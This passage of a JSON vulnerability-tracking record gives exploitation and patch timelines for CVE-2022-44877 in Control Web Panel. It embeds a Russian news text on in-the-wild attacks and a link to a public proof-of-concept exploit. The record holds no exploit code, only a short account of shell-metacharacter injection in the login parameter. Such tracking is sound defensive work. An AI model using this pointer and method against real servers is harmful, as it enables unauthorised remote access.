\u0422\u0430\u0438\u043b\u0430\u043d\u0434\u0435.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0432\u0441\u0435 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u044b \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u043c \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u043c PoC, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u044b\u043b \u0441\u043b\u0435\u0433\u043a\u0430 \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d \u0434\u043b\u044f \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u0447 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430.\n\n\u0412 \u0441\u0432\u044f\u0437\u0438 \u0441 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0435\u0439 \u0432 \u0434\u0438\u043a\u043e\u0439 \u043f\u0440\u0438\u0440\u043e\u0434\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c, \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043d\u044f\u0442\u044c \u043d\u0435\u0437\u0430\u043c\u0435\u0434\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043c\u0435\u0440\u044b \u0438 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c CWP \u0434\u043e\u00a0\u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0439 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438, \u0432 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0435 \u0432\u0440\u0435\u043c\u044f 0.9.8.1148, \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u043d\u043e\u0439 1 \u0434\u0435\u043a\u0430\u0431\u0440\u044f 2022 \u0433\u043e\u0434\u0430.", "url": "https://t.me/true_secator/3934", "metric_role": "exploitation", "metric_basis": "sighting_report"}}, "disclosure_to_exploit": {"available": true, "seconds": 729965.0, "hours": 202.76805555555555, "days": 8.44866898148148, "min_seconds": 643565.0, "max_seconds": 729965.0, "approximate": true, "ongoing": false, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2023-01-05T00:00:00Z", "date_only": false, "value": "2023-01-05T00:00:00.000Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2022-44877", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "end": {"timestamp": "2023-01-13T10:46:05Z", "date_only": false, "value": "2023-01-13T10:46:05.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/true_secator/3934", "record": "CVE-2022-44877", "field": "creation_timestamp", "uuid": "d3dc6343-b881-4a1c-93e2-7cc57e669cf2", "content": "\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f CVE-2022-44877 \u0441 \u043e\u0446\u0435\u043d\u043a\u043e\u0439 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 9,8 \u0438\u0437 10, \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u0432 Control Web Panel (\u0440\u0430\u043d\u0435\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u043c \u043a\u0430\u043a CentOS Web Panel), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432 \u0434\u0438\u043a\u043e\u0439 \u043f\u0440\u0438\u0440\u043e\u0434\u0435.\n\n\u0412\u0435\u0431-\u043f\u0430\u043d\u0435\u043b\u044c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f, \u0440\u0430\u043d\u0435\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430\u044f \u043a\u0430\u043a \u0432\u0435\u0431-\u043f\u0430\u043d\u0435\u043b\u044c CentOS, \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u043c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0434\u043b\u044f \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c Linux.\n\n\u041e\u0448\u0438\u0431\u043a\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u0434\u043e 0.9.8.1147 \u0438 \u0431\u044b\u043b\u0430\u00a0\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430\u00a0\u0435\u0435 \u0441\u043e\u043f\u0440\u043e\u0432\u043e\u0436\u0434\u0430\u044e\u0449\u0438\u043c\u0438 25 \u043e\u043a\u0442\u044f\u0431\u0440\u044f 2022 \u0433\u043e\u0434\u0430 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u041e\u0421 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043c\u0435\u0442\u0430\u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438 \u0432 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0435 \u0432\u0445\u043e\u0434\u0430 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0443.\n\n\u0421\u043e\u043e\u0431\u0449\u0438\u0432\u0448\u0438\u0439 \u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0435 \u0432 \u043e\u043a\u0442\u044f\u0431\u0440\u0435 \u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e \u0433\u043e\u0434\u0430, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u00a0\u041d\u0443\u043c\u0430\u043d \u0422\u044e\u0440\u043b\u0435\u00a0\u0438\u0437 Gais Cyber Security 3 \u044f\u043d\u0432\u0430\u0440\u044f \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u044b\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 (PoC) \u0438 \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0439 \u0432\u0438\u0434\u0435\u043e\u0440\u043e\u043b\u0438\u043a, \u0430 \u0442\u0440\u0438 \u0434\u043d\u044f \u0441\u043f\u0443\u0441\u0442\u044f \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Shadowserver Foundation \u0438\u00a0GreyNoise \u0437\u0430\u043c\u0435\u0442\u0438\u043b\u0438, \u0447\u0442\u043e \u0445\u0430\u043a\u0435\u0440\u044b \u043f\u0440\u0438\u043d\u044f\u043b\u0438\u0441\u044c \u043a \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\n\u0412 Shadowserver \u0437\u0430\u044f\u0432\u0438\u043b\u0438, \u0447\u0442\u043e \u00ab\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0442\u0440\u0438\u0432\u0438\u0430\u043b\u044c\u043d\u0430\u00bb.\n\n\u041f\u043e \u0438\u0445 \u0434\u0430\u043d\u043d\u044b\u043c, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043d\u0430\u0445\u043e\u0434\u044f\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0445\u043e\u0441\u0442\u044b \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 CVE-2022-44877 \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u0430 \u0434\u043b\u044f \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u043c\u0430\u0448\u0438\u043d\u043e\u0439. \u0414\u0440\u0443\u0433\u0438\u0435 \u0430\u0442\u0430\u043a\u0438 \u0431\u044b\u043b\u0438 \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u043d\u0430 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u043c\u0430\u0448\u0438\u043d.\n\nGreyNoise \u0437\u0430\u044f\u0432\u0438\u043b\u0430, \u0447\u0442\u043e \u0438\u043c\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e\u00a0\u0447\u0435\u0442\u044b\u0440\u0435 \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0445 IP-\u0430\u0434\u0440\u0435\u0441\u0430, \u043f\u044b\u0442\u0430\u044e\u0449\u0438\u0445\u0441\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c CVE-2022-44877, \u0434\u0432\u0430 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 - \u0432 \u0421\u0428\u0410 \u0438 \u043f\u043e \u043e\u0434\u043d\u043e\u043c\u0443 - \u0432 \u041d\u0438\u0434\u0435\u0440\u043b\u0430\u043d\u0434\u0430\u0445 \u0438 \u0422\u0430\u0438\u043b\u0430\u043d\u0434\u0435.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0432\u0441\u0435 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u044b \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u043c \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u043c PoC, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u044b\u043b \u0441\u043b\u0435\u0433\u043a\u0430 \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d \u0434\u043b\u044f \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u0447 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430.\n\n\u0412 \u0441\u0432\u044f\u0437\u0438 \u0441 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0435\u0439 \u0432 \u0434\u0438\u043a\u043e\u0439 \u043f\u0440\u0438\u0440\u043e\u0434\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c, \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043d\u044f\u0442\u044c \u043d\u0435\u0437\u0430\u043c\u0435\u0434\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043c\u0435\u0440\u044b \u0438 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c CWP \u0434\u043e\u00a0\u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0439 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438, \u0432 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0435 \u0432\u0440\u0435\u043c\u044f 0.9.8.1148, \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u043d\u043e\u0439 1 \u0434\u0435\u043a\u0430\u0431\u0440\u044f 2022 \u0433\u043e\u0434\u0430.", "url": "https://t.me/true_secator/3934", "metric_role": "exploitation", "metric_basis": "sighting_report"}}, "disclosure_to_exploit_publication": {"available": true, "seconds": 70832.0, "hours": 19.675555555555555, "days": 0.8198148148148148, "min_seconds": -15568.0, "max_seconds": 70832.0, "approximate": true, "ongoing": false, "order_known": false, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2023-01-05T00:00:00Z", "date_only": false, "value": "2023-01-05T00:00:00.000Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2022-44877", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "end": {"timestamp": "2023-01-05T19:40:32Z", "date_only": false, "value": "2023-01-05T19:40:32.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/thebugbountyhunter/6905", "record": "CVE-2022-44877", "field": "creation_timestamp", "uuid": "dfd96818-318a-4fa9-adbb-def8cdd28555", "content": "Centos Web Panel 7 Unauthenticated Remote Code Execution - CVE-2022-44877\n\nhttps://github.com/numanturle/CVE-2022-44877", "url": "https://t.me/thebugbountyhunter/6905", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}}, "time_to_patch": {"available": false, "missing": ["start", "end"]}, "total_time_to_patch": {"available": false, "missing": ["start", "end"]}, "disclosure_to_patch": {"available": false, "missing": ["end"]}, "time_unpatched": {"available": true, "seconds": 121892812.544017, "hours": 33859.11459556028, "days": 1410.7964414816784, "min_seconds": 121806412.544017, "max_seconds": 121892812.544017, "approximate": true, "ongoing": true, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2023-01-05T00:00:00Z", "date_only": false, "value": "2023-01-05T00:00:00.000Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2022-44877", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "end": {"timestamp": "2026-11-15T19:06:52.544Z", "date_only": false, "label": "As of", "source": "Calculation clock"}}, "exploitation_to_patch": {"available": true, "seconds": 121162847.544017, "hours": 33656.34654000472, "days": 1402.3477725001967, "min_seconds": 121162847.544017, "max_seconds": 121162847.544017, "approximate": false, "ongoing": true, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2023-01-13T10:46:05Z", "date_only": false, "value": "2023-01-13T10:46:05.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/true_secator/3934", "record": "CVE-2022-44877", "field": "creation_timestamp", "uuid": "d3dc6343-b881-4a1c-93e2-7cc57e669cf2", "content": "\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f CVE-2022-44877 \u0441 \u043e\u0446\u0435\u043d\u043a\u043e\u0439 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 9,8 \u0438\u0437 10, \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u0432 Control Web Panel (\u0440\u0430\u043d\u0435\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u043c \u043a\u0430\u043a CentOS Web Panel), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432 \u0434\u0438\u043a\u043e\u0439 \u043f\u0440\u0438\u0440\u043e\u0434\u0435.\n\n\u0412\u0435\u0431-\u043f\u0430\u043d\u0435\u043b\u044c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f, \u0440\u0430\u043d\u0435\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430\u044f \u043a\u0430\u043a \u0432\u0435\u0431-\u043f\u0430\u043d\u0435\u043b\u044c CentOS, \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u043c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0434\u043b\u044f \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c Linux.\n\n\u041e\u0448\u0438\u0431\u043a\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u0434\u043e 0.9.8.1147 \u0438 \u0431\u044b\u043b\u0430\u00a0\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430\u00a0\u0435\u0435 \u0441\u043e\u043f\u0440\u043e\u0432\u043e\u0436\u0434\u0430\u044e\u0449\u0438\u043c\u0438 25 \u043e\u043a\u0442\u044f\u0431\u0440\u044f 2022 \u0433\u043e\u0434\u0430 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u041e\u0421 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043c\u0435\u0442\u0430\u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438 \u0432 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0435 \u0432\u0445\u043e\u0434\u0430 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0443.\n\n\u0421\u043e\u043e\u0431\u0449\u0438\u0432\u0448\u0438\u0439 \u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0435 \u0432 \u043e\u043a\u0442\u044f\u0431\u0440\u0435 \u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e \u0433\u043e\u0434\u0430, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u00a0\u041d\u0443\u043c\u0430\u043d \u0422\u044e\u0440\u043b\u0435\u00a0\u0438\u0437 Gais Cyber Security 3 \u044f\u043d\u0432\u0430\u0440\u044f \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u044b\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 (PoC) \u0438 \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0439 \u0432\u0438\u0434\u0435\u043e\u0440\u043e\u043b\u0438\u043a, \u0430 \u0442\u0440\u0438 \u0434\u043d\u044f \u0441\u043f\u0443\u0441\u0442\u044f \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Shadowserver Foundation \u0438\u00a0GreyNoise \u0437\u0430\u043c\u0435\u0442\u0438\u043b\u0438, \u0447\u0442\u043e \u0445\u0430\u043a\u0435\u0440\u044b \u043f\u0440\u0438\u043d\u044f\u043b\u0438\u0441\u044c \u043a \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\n\u0412 Shadowserver \u0437\u0430\u044f\u0432\u0438\u043b\u0438, \u0447\u0442\u043e \u00ab\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0442\u0440\u0438\u0432\u0438\u0430\u043b\u044c\u043d\u0430\u00bb.\n\n\u041f\u043e \u0438\u0445 \u0434\u0430\u043d\u043d\u044b\u043c, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043d\u0430\u0445\u043e\u0434\u044f\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0445\u043e\u0441\u0442\u044b \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 CVE-2022-44877 \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u0430 \u0434\u043b\u044f \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u043c\u0430\u0448\u0438\u043d\u043e\u0439. \u0414\u0440\u0443\u0433\u0438\u0435 \u0430\u0442\u0430\u043a\u0438 \u0431\u044b\u043b\u0438 \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u043d\u0430 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u043c\u0430\u0448\u0438\u043d.\n\nGreyNoise \u0437\u0430\u044f\u0432\u0438\u043b\u0430, \u0447\u0442\u043e \u0438\u043c\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e\u00a0\u0447\u0435\u0442\u044b\u0440\u0435 \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0445 IP-\u0430\u0434\u0440\u0435\u0441\u0430, \u043f\u044b\u0442\u0430\u044e\u0449\u0438\u0445\u0441\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c CVE-2022-44877, \u0434\u0432\u0430 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 - \u0432 \u0421\u0428\u0410 \u0438 \u043f\u043e \u043e\u0434\u043d\u043e\u043c\u0443 - \u0432 \u041d\u0438\u0434\u0435\u0440\u043b\u0430\u043d\u0434\u0430\u0445 \u0438 \u0422\u0430\u0438\u043b\u0430\u043d\u0434\u0435.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0432\u0441\u0435 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u044b \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u043c \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u043c PoC, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u044b\u043b \u0441\u043b\u0435\u0433\u043a\u0430 \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d \u0434\u043b\u044f \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u0447 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430.\n\n\u0412 \u0441\u0432\u044f\u0437\u0438 \u0441 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0435\u0439 \u0432 \u0434\u0438\u043a\u043e\u0439 \u043f\u0440\u0438\u0440\u043e\u0434\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c, \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043d\u044f\u0442\u044c \u043d\u0435\u0437\u0430\u043c\u0435\u0434\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043c\u0435\u0440\u044b \u0438 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c CWP \u0434\u043e\u00a0\u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0439 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438, \u0432 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0435 \u0432\u0440\u0435\u043c\u044f 0.9.8.1148, \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u043d\u043e\u0439 1 \u0434\u0435\u043a\u0430\u0431\u0440\u044f 2022 \u0433\u043e\u0434\u0430.", "url": "https://t.me/true_secator/3934", "metric_role": "exploitation", "metric_basis": "sighting_report"}, "end": {"timestamp": "2026-11-15T19:06:52.544Z", "date_only": false, "label": "As of", "source": "Calculation clock"}}, "exploit_publication_to_patch": {"available": true, "seconds": 121821980.544017, "hours": 33839.43904000472, "days": 1409.9766266668635, "min_seconds": 121821980.544017, "max_seconds": 121821980.544017, "approximate": false, "ongoing": true, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2023-01-05T19:40:32Z", "date_only": false, "value": "2023-01-05T19:40:32.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/thebugbountyhunter/6905", "record": "CVE-2022-44877", "field": "creation_timestamp", "uuid": "dfd96818-318a-4fa9-adbb-def8cdd28555", "content": "Centos Web Panel 7 Unauthenticated Remote Code Execution - CVE-2022-44877\n\nhttps://github.com/numanturle/CVE-2022-44877", "url": "https://t.me/thebugbountyhunter/6905", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, "end": {"timestamp": "2026-11-15T19:06:52.544Z", "date_only": false, "label": "As of", "source": "Calculation clock"}}}}